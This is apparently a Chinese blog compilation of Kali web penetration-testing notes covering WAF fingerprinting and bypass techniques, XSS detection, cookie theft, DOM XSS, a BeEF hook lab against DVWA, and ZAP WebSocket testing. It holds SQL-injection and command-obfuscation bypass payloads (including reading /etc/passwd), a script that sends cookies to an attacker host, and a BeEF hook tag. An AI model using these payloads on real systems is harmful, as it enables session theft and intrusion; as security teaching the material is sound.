Kali web渗透测试

使用跨站脚本攻击客户端

1.使用浏览器绕过客户端控制:

浏览器绕过客户端控制一般是指通过一些技术手段,来绕过客户端受限的访问限制,达到访问特定网站、突破访问限制等目的。其原理主要基于以下两种情况:

  1. 客户端控制是通过某些插件(如Flash)或程序实现的,而浏览器可以通过禁用或卸载这些插件或程序来绕过控制,从而访问原本被限制的内容。

  2. 客户端控制是通过一些网站防火墙、IP封锁等技术实现的,而浏览器可以通过代理、VPN等技术手段来绕过这些限制,从而达到访问被限制的目的。

值得注意的是,浏览器绕过客户端控制是一种破解行为,可能涉及到法律风险和安全风险,使用时应谨慎并遵守有关法律法规。

2.检测到绕过web应用防火墙

一、WAF的工作原理
WAF工作在web服务器之前,对基于HTTP/HTTPS协议的通信进行检测和识别。在用户请求到达web服务器前对用户请求进行扫描和过滤,分析并校验每个用户请求的网络包,确保每个用户的请求安全且有效,对无效或有攻击行为的请求进行阻断或隔离。
WAF的解决步骤大概可分为四部分:预备处理、标准检测、解决控制模块、系统日志记录。
  1.预备处理
  先分辨是不是HTTP/HTTPS请求,然后查询该URL请求是不是在权限以内,加入该URL请求在权限目录内,交到后端响应;没有则进行标准检验。
  2.标准检验
  不同的WAF有自有的检验规则,通过WAF标准去检验数据文件,查看是否有故意攻击行为。
  3.解决控制模块
  对于不一样的检验结果,会做出不一样的防御姿势。不同的WAF产品自定义的阻拦页面不一样,所以我们可以根据阻拦页面判断网站使用的是哪一种WAF,进而展开绕过。
  4.系统日志记录
  WAF在整个工作过程中,会将系统日志记录下来,便于分析。

二、WAF的常见功能
1、检测异常协议,拒绝不符合HTTP/HTTPS标准的请求。
  针对HTTP和HTTPS的请求进行异常检测,阻断不符合请求的访问,并且严格的限制HTTP协议中没有完全限制的规则。
2、对可疑IP进行检查
3、禁止某些IP的访问
  WAF可以指定规则,添加IP黑名单和白名单,限制IP的访问策略。
4、DDOS防护
  WAF主要通过指纹识别来对DDOS进行防护,,通过监测应用层数据对齐进行控制或者访问控制。云WAF主要利用DNS解析对网站进行DDOS防护;软件WAF主要通过监听端口或者web容器扩展的方式进行请求的检测和阻断。硬件WAF一般部署在web服务器前端,用来检测异常数据,和流量,所以在DDOS防护方面优于软件WAF。
5、防止信息泄露,保护信息安全
6、对cookies进行保护
  主要是通过加密set-cookie中的键值来保护cookie不被盗取,利用。
7、添加检测机制
  WAF可以通过在数据访问时添加csrf token,防止攻击,某些waf,会配置HSTS(由互联网工程任务组发布的互联网安全策略机制),默认使用HTTPS进行通信。
8、管理HTTP头
  X-XSS-Protection:可以在检测到反射的跨站点脚本(XSS)攻击时阻止页面加载。这些保护在很大程度上是不必要的,但是某些旧版浏览器不支持CSP(内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击),所以他可以为这些不支持CSP的进行保护。
X-Frame-Options:是用来给浏览器 指示允许一个页面 可否在 , , 或者 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 clickjacking 攻击。

三、WAF种类
1、软件型WAF
  软件型WAF是以软件的形式直接安装在服务器上的,所以他可以直接检查和他共处在服务器上的文件,软件等。可检查服务器上是否有webshell文件,是否有文件、账号等被创建。
  软件WAF对HTTP协议是自己进行解析的,所以可能存在与web服务器对HTTP请求的理解不一致导致被绕过。
常见的软件WAF:安全狗、安全卫士等,造价相对便宜。

2、硬件型WAF
  以硬件的形式部署在链路中,部署方式比较多样,串联在链路上时可以拦截恶意流量,在旁路监听模式下只记录攻击但是不进行拦截。硬件WAF是通过攻击规则库对异常流量进行识别的,所以可能存在误杀;而且它对HTTP协议是自行进行解析,所以可能存在与web服务器对HTTP请求的理解不一致导致被绕过。
  硬件WAF一般情况下部署在交换机上。
  
3、云WAF
  一般以反向代理的形式工作,通过配置NS记录或者CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN(内容分发网络)。
  云WAF的防护规则都处于云端,由云端负责规则的更新和维护。
  云WAF是通过将用户的DNS解析到云节点实现防护的,但是如果黑客有服务器的真是IP地址,就可以轻松绕过云WAF。
  
4、网站系统内置的WAF
  网站系统内置的WAF也可以说是网站系统内置的过滤,直接镶嵌在代码中,自由度比较高。一般有以下几种情况:
  ①输入参数强制类型转换
  ②输入参数合法性检查
  ③关键函数执行(sql执行、页面显示、命令执行等)前,对经过代码流程的函数进行检测。
  ④对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)。

四、WAF的判断

大部分检测脚本或者工具都是根据cookie信息、返回头、返回内容来判断WAF类别的。
1、使用sqlmap进行判断
  sqlmap中自带了识别waf的模块可以识别出网站的waf种类,如果安装的waf没有什么特征,识别出来的就是:Generic。

python sqlmap.py -u “http://www.xxxx.com?id=1” --identify-waf
2、使用手工进行判断
  使用手工进行判断的时候,判断原则是输出的内容网站是否拦截过滤。
在URL地址后面加上测试语句即可:如:union select 1,2,3%23,把测试语句放到一个不存在的参数名中,如果触发了WAF的防护,说明网站存在WAF,反之,不存在。
构造aaa=select 1,2,3%23

被拦截的表现为:页面无法访问、响应码不同、返回与正常请求网页时不同的结果等。
3、Wafw00f
工具下载地址:(https://github.com/EnableSecurity/wafw00f)
使用方法:python wafw00f.py http://www.xxx.com/

4、xenoitx
工具下载地址:(https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework)

————————————————
版权声明:本文为CSDN博主「七天啊」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/sycamorelg/article/details/111055352

五、WAF的绕过
WAF常见的绕过方式大致分为四大类:

1、基于规则的绕过
<1>字符变换
  大小写变换:script=>sCRipt
  字符编码:
  编码方式比较多样,如URL编码、十六进制编码、Unicode编码、HTML编码、Base64编码、JSfuck编码等。
  等价函数:
  我们在进行基于时间的SQL注入时,通常会使用不同的时间函数:如sleep();benchmark()。
  等价变量:
    And = &&
    Or = ||
    等于 = like 
    if(a,b,c) = case when(A) then B else C end
    substr(str,1,1) = substr (str) from 1 for 1
    limit 1,1 = limit 1 offset 1
    Union select 1,2 = union select * from ((select 1)A join (select 2)B;
    sleep() = benchmark()
    concat_ws() = group_concat()
    substr() = substring()
    @@user = user()
    @@datadir = datadir(
<2>字符干扰

    空字符
    NULL (x00)
    空格 
    回车 (x0d)
    换行 (x0a)
    垂直制表 (x0b)
    水平制表 (x09)
    换页 (x0c)
<3>特殊符号
  单引号;双引号;反引号
<4>利用服务本身特点
   WAF针对不同的服务器,他的过滤规则会有些许差异:

windows: 
whoami = ((((Wh^o^am””i))))       #利用符号分割字符执行whoami
Linux:
whoami = w’h’o’a’m”i”         #单引号或双引号连接符,需要闭合
Cat /etc/passwd = cat /?t*/??ss**   #?,*通配符
<5>其他

2、基于解析的绕过
<1>字符集解析不同
<2>协议覆盖不全
POST 的 JSON 传参 / form-data / multipart/form-data
<3>协议解析不正确
<4>站点和 WAF 对 https 有部分不一致
<5>WAF 解析与 Web 服务解析不一致
  部分 ASP+IIS 会转换 %u0065 格式的字符
  Apache 会解析畸形 Method:
    .php –> /1.php.dvw.123 从后往前解析,碰到php才会解析
  Iis5.0-6.0解析漏洞
     xx.asp/xx.jpg ,xx.asp目录下的文件都解析成asp文件
     xx.asp;.jpg 默认被解析为asp文件
  Iis7.5解析漏洞(php.ini开启fix_pathinfo)
    xx.jpg 我们在上传文件时,一句话木马写成xx.jpg,访问时后面加上xx.jpg/xx.php,图片文件会以php格式执行
  nginx解析漏洞(php.ini开启fix_pathinfo)
    xx.jpg%00.php Nginx <8.03 空字节代码执行漏洞
  同一个参数多次出现, 取的位置不一样

3、基于资源的绕过

使用消耗大的载荷,耗尽WAF的计算资源,通过增加传递得参数数量,达到waf检测上限,超出的参数就可绕过waf了。比如waf检测文本内容为40字节,多出40的就不再检测,那我们可以把脚本文件写在40个字节文件之后。
  再比如我们通过缓冲区溢出绕过WAF:当我们上传到服务器的数据量大于waf可以检测的数据量时,可以通过发送大量的垃圾数据将 WAF 溢出,从而绕过waf。
union select= and (select 1)=(select 0xA*111111111111) unIon select
and 1=1 = and 1=1 and 111111…11111111
4、基于架构的绕过

<1>站点在WAF后面,但是站点可以直连
<2>站点在云服务器中,同网段服务器没有WAF

5、HTTP Parameter Pollution (HPP)
HTTP参数污染允许攻击者制作请求以操纵或检索隐藏信息,具体如下:

ASP.NET//IIS-----传入参数:=par=v1&par=v2&par=v3-----解析为:=par=v1,v2,v3
ASP/IIS-----传入参数:=par=v1&par=v2&par=v3-----解析为:=par=v1,v2,v3
PHP/Apache-----传入参数:=par=v1&par=v2&par=v3-----解析为:=par=v3
PHP/Zeus-----传入参数:=par=v1&par=v2&par=v3-----解析为:=par=v3
JSP, Servlet/Apache Tomcat-----传入参数:=par=v1&par=v2&par=v3-----解析为:=par=v1
 

6、HTTP Parameter Fragmentation (HPF)
HHTP参数分段,具体如下:
在一个SQL查询中有两个或多个用户参数,例如:

Query("select * from table where a=".$_REQUEST ['a']." and b>".$_REQUEST ['b']);
Query("select * from table where a=.$_REQUEST['a']." and b<".$_REQUEST ['b']." limit ".$_REQUEST['c']);
etc.
 

在验证从Web应用程序级别的用户接收到的参数值的阶段,该应用程序只能使用Web服务器的变量运行,而WAF(取决于模式)可以直接使用原始HTTP数据运行。但是,不管访问数据的方法如何,都涉及为每个单独的参数使用某些正则表达式。即:

preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['a'])
preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['b'])
preg_match("/(uni)(on.+sel)(ect)/is", $_REQUEST ['c'])
...
preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['a'])
preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['b'])
preg_match("/(sel)(ect.+fr)(om)/is", $_REQUEST ['c'])
...
因此,如果将SQL查询的逻辑划分为几个输入该SQL查询的参数,然后使用注释将这些片段连接起来,则可以绕过所描述的过滤器:

/?a = 1 + union / *&b = * / select + 1,2
/?a = 1 + union / *&b = * / select + 1,pass / *&c = * / from + users
 

所以实际的操作语句为

select * from table where a=1 union select 1,2
select * from table where a=1 union select 1,pass from users
 

六、WAF指纹
1、额外的 Cookie
2、额外的 Header
3、被拒绝请求时的返回内容
4、被拒绝请求时的返回响应码
5、IP

七、部分WAF指纹
1、WebKinght:
如何在“事件响应处理”设置中未取消选中“直接响应”,“响应重定向”和“使用响应”状态’。WebKnight将不会丢弃请求,并将相关内容发送回客户端。
直接使用响应:如果检测到攻击,则将提供位于WebKnight目录中的文件deny.htm(在WebKnight 1.3及更高版本中为nohack.htm)
如果文件不存在,或者读取文件时发生错误,则将发送回默认文本“ WebKnight应用程序防火墙警报”。
如果使用响应重定向:IIS将以302状态(“对象已移动”)记录被阻止的请求,而直接使用“响应”时,IIS日志文件中将不会记录任何内容。
当重定向客户端并且该页面也被阻止时,将无限地重定向客户端(大多数浏览器都会给出有关“超过最大重定向次数”的错误)。
具体可查看官方文档:(https://www.aqtronix.com/)

2、ModSecuroty:
ModSecurity是一个开放源代码,跨平台的Web应用程序防火墙(WAF)模块。它被称为WAF的“瑞士军刀”,它使Web应用程序防御者能够
了解HTTP(S)流量,并提供电源规则语言和API来实施高级保护。ModSecurity只能嵌入在Apache 2.x中,但是当将其部署为反向代理时,
它可以用于保护任何Web服务器。
一个恶意的请求Mod_Security会在响应头返回“406 Not acceptable”的信息。

HTTP/1.0 406 Not Acceptable
Cache-Control: No-Cache
Pragma: No-Cache
Connection: Keep-Alive
Content-Length: 0
 

具体可查看官方文档:(https://www.modsecurity.org)

3、360防火墙:
响应头包含X-Powered-By-360WZB
异常请求时返回493状态码
页面源码可以找到对 wzws-waf-cgi 引用

4、云锁:
响应头包含yunsuo_session 字段
阻止响应页面

5、云盾:
响应头包含yundun关键字
页面源代码有errors.aliyun.com引用

6、安全狗:
响应头包含 waf 2.0
Safedog 等字样
HTTP/1.1 200 OK
Content-Length: 689
Content-Type: text/html
Last-Modified: Thu, 27 Dec 2018 08:03:11 GMT
Accept-Ranges: bytes
ETag: "5e49439cba9dd41:0"
Server: Microsoft-IIS/7.5
X-Powered-By: WAF/2.0
Date: Sun, 13 Dec 2020 20:33:49 GMT

7、腾讯云:
阻止响应页面包含waf.tencent-cloud.com 引用
阻止响应代码 405 method not allow

8、安全宝:
恶意请求时返回405恶意代码
响应头包含X-Powered-by-Anquanbao

HTTP/1.1 406 Not Acceptable
Connection: close
Content-Length: 584
Content-Type: text/html
Date: Tue, 15 Dec 2020 03:18:45 GMT
Server: ASERVER/1.8.0-3
X-Powered-By-Anquanbao: MISS from pon-bj-xy-ib5
 

9、百度云加速:
响应头包含 Yunjiasu-ngnix

HTTP/1.1 403 Forbidden
Connection: close
Content-Length: 16
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Cf-Ray: 601f31327b2d4887-TNA
Cf-Request-Id: 07075d138f00004887d517b000000001
Content-Type: text/plain; charset=UTF-8
Date: Tue, 15 Dec 2020 09:38:31 GMT
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Server: yunjiasu-nginx
Set-Cookie: __cfduid=d24058fa10fcb3f938923e75816b1e31b1608025111; expires=Thu, 14-Jan-21 09:38:31 GMT; path=/; domain=.119.188.9.54; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
 

10、创宇盾:
恶意请求时 页面url 365cyd.com 365cyd.net

11、Profense:

def isprofense(self):
        """
        Checks for server headers containing "profense"
        """
        return self.matchheader(('server','profense'))

————————————————
版权声明:本文为CSDN博主「七天啊」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/sycamorelg/article/details/111055352
 

3.识别跨站脚本漏洞

跨站脚本(Cross-site scripting,简称 XSS)漏洞是一种常见的网络安全漏洞,它可以利用网站未能正确过滤输入的数据,插入脚本代码,从而攻击用户的浏览器,盗取用户信息或者进行其他恶意行为。识别跨站脚本漏洞是指对目标网站进行安全测试,发现网站是否存在 XSS 漏洞并及时修复。

跨站脚本漏洞常常存在于需要用户输入的信息提交页面(如搜索框、评论区等),攻击者可以在输入时向其中插入恶意脚本代码,当其他用户浏览该页面时,攻击者的脚本会被执行,从而达到攻击目的。

为了识别跨站脚本漏洞,安全测试人员可以采取以下措施:

  1. 对网站进行输入输出安全测试,尝试向不同的输入框中插入脚本代码,观察输出结果是否与预期不符。

  2. 利用一些工具,如 Burp Suite 等,对目标网站进行扫描,探测是否存在 XSS 漏洞。

  3. 对网站的前端代码进行审计,寻找潜在的 XSS 漏洞点,如输入框、输出内容等。

  4. 对网站进行攻击模拟,模拟黑客攻击场景,寻找是否存在 XSS 漏洞。

一旦识别到跨站脚本漏洞,应及时通知网站负责人或者相关技术人员,并帮助其修复漏洞。

识别跨站脚本漏洞需要进行全面的安全测试,主要包括以下几个方面:

  1. 输入输出安全测试:对网站进行输入输出安全测试,输入各种类型的文本字符串,如基本字符、Unicode 字符、HTML 标签、单引号、双引号、反斜杠等特殊字符,测试输出结果是否与预期不符。如果输出结果包含了输入的特殊字符,那么很可能存在 XSS 漏洞。

  2. 漏洞扫描:利用专业的漏洞扫描工具,如 Acunetix、Nessus、OpenVAS 等,对网站进行全面的扫描,探测是否存在 XSS 漏洞。

  3. 前端代码审计:对网站的前端代码进行审计,查找是否存在潜在的 XSS 漏洞点。常见的 XSS 漏洞点包括输入框、文本域、URL 参数、Cookie、HTML 标签、JavaScript 代码等。

  4. 攻击模拟:模拟黑客攻击场景,寻找是否存在 XSS 漏洞。攻击模拟分为主动攻击和被动攻击两种方式,可以利用脚本或者工具模拟攻击场景,对网站进行测试。

综合以上几种方式,可以对网站进行全面的安全测试,及时识别跨站脚本漏洞,并及时通知网站管理者进行修复。

4.利用XSS获取Cookie

利用 XSS 获取 Cookie 的基本方法如下:

1. 制作一个恶意的 XSS 脚本,通过发送钓鱼链接等方式,让用户点击链接,使 XSS 脚本注入到网站中。

2. XSS 脚本可以通过 JavaScript 的 Document.cookie 属性,获取当前用户的 Cookie 值。

3. 利用 XMLHttpRequest 对象,发送异步请求,将获取的 Cookie 发送到攻击者的服务器上。

4. 攻击者可以通过获取到的 Cookie 值,伪造用户身份,进行一系列危害性操作,如篡改用户信息、窃取用户隐私等。

为了防止 XSS 攻击,可以通过以下方式进行预防:

1. 过滤输入:对用户输入的数据进行过滤,限制输入特殊字符或者转义特殊字符,从而避免输入的数据成为恶意脚本的一部分。

2. 输出编码:对于输出到 HTML 页面的内容,进行编码处理,避免直接输出 HTML 标签和 JavaScript 代码。

3. 开启 HttpOnly:在设置 Cookie 时,开启 HttpOnly 属性,该属性可以避免 JavaScript 脚本直接获取 Cookie 值。

4. 安装插件:安装反 XSS 插件,如 NoScript 等,可以有效避免 XSS 攻击。

5.利用DOM XSS

DOM XSS (Document Object Model Cross-Site Scripting)是一种常见的 XSS 攻击方式,它利用了 JavaScript 的 DOM API(Document Object Model Application Programming Interface) 来污染网页代码,窃取敏感信息或者伪造用户行为。

DOM XSS 是一种基于 DOM 的攻击方式,在传统的 XSS 攻击中,攻击者通过传递恶意的数据,使得被攻击的网站将攻击者构造的恶意代码传递给用户的浏览器并执行,从而达到攻击的目的。而 DOM XSS 在这个过程中并没有向服务器传递恶意代码,攻击代码直接在浏览器中执行,利用 JavaScript 操作 DOM,完成攻击行为。这也使得 DOM XSS 难以被传统的 XSS 防护措施所防御。

DOM XSS 主要包括两种类型:

  1. 基于内联事件的 DOM XSS:

攻击者通过构造恶意的事件处理程序代码,如 onclick,onload,onmouseover 等,触发用户在网页上的操作,从而执行攻击代码。

  1. 基于 DOM 操作的 DOM XSS:

攻击者通过修改网页中的 DOM 元素,如修改网页中的链接地址(a 标签),修改表单元素的值等等,从而在用户浏览器中执行攻击代码。

为了防御 DOM XSS 攻击,可以采取以下措施:

  1. 安全编码:对于从用户输入或者从其他渠道获得的数据,进行过滤和安全编码,避免恶意代码注入。

  2. 浏览器安全策略:设置合适的 Content-Security-Policy(CSP) 策略,限制恶意代码的执行。

  3. JavaScript 编程规范:遵循 JavaScript 编程规范,避免直接操作 DOM,从而减少攻击者滥用 DOM 的机会。

  4. 反 XSS 插件:安装浏览器插件,如 NoScript,可以有效地阻止恶意代码的执行,从而提高网站的安全性

DOM XSS攻击的利用方式通常是通过构造恶意的事件处理程序代码或者修改网页中的DOM元素。

以下是常见的利用方式:

  1. 基于内联事件的DOM XSS:攻击者可以构造恶意的事件处理程序代码,如onclick、onload、onmouseover等,触发用户在网页上的操作,从而执行攻击代码。

  2. 基于DOM操作的DOM XSS:攻击者可以利用JavaScript修改网页中的DOM元素,如修改网页中的链接地址(a标签)、修改表单元素的值等等,从而在用户浏览器中执行攻击代码。

例如,攻击者可以向网页中注入以下恶意代码:

<script>
    var cookie = document.cookie; // 获取用户cookie
    // 通过修改DOM元素来实现攻击
    document.getElementById("username").innerHTML = "admin";
    document.forms[0].action = "http://attackerserver.com/log.php?cookie="+cookie;
</script>
 

在这种情况下,这个恶意代码会将当前用户的cookie信息发送到攻击者的服务器,并且将表单的提交地址修改为攻击者的服务器地址。当用户点击表单提交按钮的时候,提交的数据会被发送到攻击者的服务器,从而使攻击者获取到用户的cookie信息。

为了防御DOM XSS攻击,需要采取以下措施:

  • 对于从用户输入或者从其他渠道获得的数据,进行过滤和安全编码,避免恶意代码注入。
  • 设置合适的 Content-Security-Policy(CSP)策略,限制恶意代码的执行。
  • 遵循JavaScript编程规范,避免直接操作DOM,从而减少攻击者滥用DOM的机会。

6.利用BeEF执行XSS攻击

————————————————
版权声明:本文为CSDN博主「@WFT」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_71139244/article/details/130901320

一、操作前准备
1、配置靶机环境
(1)登录靶机并安装phpstudy进行测试
第一步:登录win7靶机和Kali-Linux
第二步:访问https://www.xp.cn/,下载phpstudy软件(下载最新版的)
第三步:把下载好的phpstudy软件进行安装
第四步:点击启动Apache服务与MySQL服务进行测试

(2)在浏览器访问网址并下载DVWA解压

第一步:在浏览器访问127.0.0.1或者localhost,出现“站点创建成功”,则phpstudy安装成功

第二步:访问https://github.com/ethicalhack3r/DVWA,下载压缩包

第三步:将解压后的DVWA文件夹放到phpstudy安装目录下

3)进入DVWA文件夹进行修改

第一步:进入DVWA文件夹,将文件config.inc.php.dist复制为一个副本,将副本修改为config.inc.php,双击从记事本里面打开

第二步:打开config.inc.php文件后,将文件中的db_user db_password,分别修改为root,root

第三步:保持phpstudy开启状态,在浏览器中输入网址:http://127.0.0.1/DVWA-master,进入配置安装界面,点击Setup/Reset DB


第一次安装可能在方框内会出现标红,下面依次解决:
(1)打开dvwa下面的config.inc.php文件,在文件里面找到这两串代码
将这两串key输入进去
public:
6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb
private:
6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K

(4)打开php.ini文件后重启

第一步:在phpstudy的安装目录中,找到php.ini文件,打开它
第二步:将allow_url_fopen和allow_url_include的值改为On

第三步:最后重启一下phpstudy中的Apache与mysql服务,再次访问http://127.0.0.1/DVWA-maste中的设置,你可以发现都正常了,可能会跳转到登陆页面,那就说明安装成功,输入账号和密码:DVWA的默认账号和默认密码分别是:admin 和 password
 

2、BeEF安装

在kali中可使用 apt-get install beef-xss 命令来安装BeEF

二、利用DOM XSS案例
1、从BeEF 安装目录中启动
(注意:新的 BeEF 启动前会强制新用户设定密码,可以在终端设立为:123456,或者可以在配置文件
“/usr/share/beef-xss/config.yaml”或"/etc/beef-xss/config.yaml"修改默认账号密码!)

从BeEF 安装目录中启动它
cd /usr/share/beef-xss/
./beef

2、浏览器打开

浏览器打开http://127.0.0.1:3000/ui/panel,使用账户名和密码登录:

 

3、调难度

将win7靶机中的DWVA难度调为low

4、在XSS(Stored)下输入脚本命令
在XSS(Stored)下输入脚本命令 Name:ceshi(自己取一个名字) Message:

<script src="http://192.xxx.xxx.xxx(自己的kaliIP地址):3000/hook.js"></script>
 

5、查看靶机所在的浏览器

点击Sign Guestbook,kali那边Beef就勾上了靶机所在的浏览器了

三、总结

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。所学信息安全技术中也知道XSS攻击所带来的危害很大,所以大家注意防范禁止做违反法律的事。

7.从Web存储中提取信息

从Web存储中提取信息指的是从浏览器的本地存储(例如cookies、localStorage或sessionStorage)中获取敏感信息或凭据的过程。攻击者可以通过各种手段来获取这些信息,包括利用XSS漏洞、利用恶意软件、进行社交工程等。这种攻击方式可以导致用户数据泄露和账户被接管等安全问题。因此,开发人员需要采取措施来防止Web存储中的信息泄露,例如使用安全的存储方式、实现访问控制、加密存储的数据等。

从Web存储中提取信息通常需要编写JavaScript代码,以下是一些可能的方法:

  1. 使用document.cookie获取浏览器中的Cookie信息。

  2. 使用localStorage或sessionStorage API获取存储的数据。

  3. 利用XSS漏洞在客户端注入JavaScript代码,并使用上述方法获取信息。例如,攻击者可以在受害者访问的网页中注入以下代码:

    <script>
    var cookies = document.cookie;
    alert(cookies);
    </script>
     
    

    上述代码将获取所有Cookie信息并在弹出窗口中显示。

    需要注意的是,从Web存储中提取信息通常需要攻击者拥有执行JavaScript代码的权限和访问存储的数据的权限。因此,防止XSS攻击和保护Web存储数据安全非常重要。

8.ZAP测试WebSoket

ZAP(Zed Attack Proxy)是一款开源的网络应用程序安全扫描工具,它可以帮助安全测试人员识别、利用和修复Web应用程序的漏洞。

ZAP可以测试WebSocket,WebSocket是一种HTML5协议,它支持基于事件的双向通信,可以在Web应用程序中创建实时交互和数据传输。

ZAP测试WebSocket意味着使用ZAP工具测试WebSocket应用程序中的安全漏洞,例如:

  1. 端点探测:ZAP可以探测WebSocket应用程序中的端点并测试其安全性。

  2. 消息拦截和修改:ZAP可以拦截WebSocket消息并修改它们以测试应用程序的安全性。

  3. 模糊测试:ZAP可以使用模糊测试技术向WebSocket应用程序发送异常数据以测试其安全性。

  4. 跨站点WebSocket劫持:ZAP可以测试WebSocket应用程序中的跨站点WebSocket劫持攻击。

总之,ZAP测试WebSocket的目的是确保WebSocket应用程序在安全方面的强度,并提供有关如何修复发现的安全漏洞的建议

使用ZAP测试WebSocket,可以按照以下步骤进行:

  1. 启动ZAP:首先启动ZAP,并确保ZAP和要测试的WebSocket应用程序在同一网络环境中。

  2. 配置代理:在ZAP中配置代理,以便于拦截和修改WebSocket消息。具体操作为:在ZAP中打开“选项”菜单,选择“本地代理”选项卡,将“端口号”设置为一个未使用的端口号,并点击“启动”按钮。

  3. 配置浏览器:在浏览器中配置代理,以便于将WebSocket消息发送到ZAP中进行拦截和修改。具体操作为:在浏览器中打开“高级设置”,将代理设置为ZAP所在的IP地址和端口号。

  4. 开始测试:在浏览器中访问要测试的WebSocket应用程序,并进行一系列交互操作,以便于让ZAP拦截和修改WebSocket消息。

  5. 分析结果:在ZAP中查看测试结果,并修复发现的安全漏洞。

总之,使用ZAP测试WebSocket需要进行代理配置和浏览器配置,并进行一系列交互操作以便于让ZAP拦截和修改WebSocket消息,最终分析测试结果并修复发现的安全漏洞。

9.使用XSS和Metasploit获取远程shell

使用XSS和Metasploit获取远程shell是一种攻击技术,目的是在目标计算机上执行恶意代码,以获取远程访问权限,从而控制目标计算机。具体步骤如下:

1. 利用XSS漏洞:攻击者通过在目标网站中注入恶意脚本,利用XSS漏洞将恶意脚本注入到网站中,当用户访问该页面时,恶意脚本将被执行,攻击者就可以利用恶意脚本对用户进行攻击。

2. 利用Metasploit获取远程shell:攻击者可以使用Metasploit工具来获取远程shell,Metasploit是一款常用的渗透测试工具,可以通过漏洞利用来获取远程访问权限,从而控制目标计算机。攻击者需要利用Metasploit生成恶意代码,然后将恶意代码注入到XSS漏洞中,当用户访问该页面时,攻击者就可以获取远程shell,从而控制目标计算机。

总之,使用XSS和Metasploit获取远程shell是一种恶意攻击技术,攻击者可以通过利用XSS漏洞和Metasploit工具获取远程访问权限,从而控制目标计算机,这种攻击方式对网络安全造成了严重的威胁。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值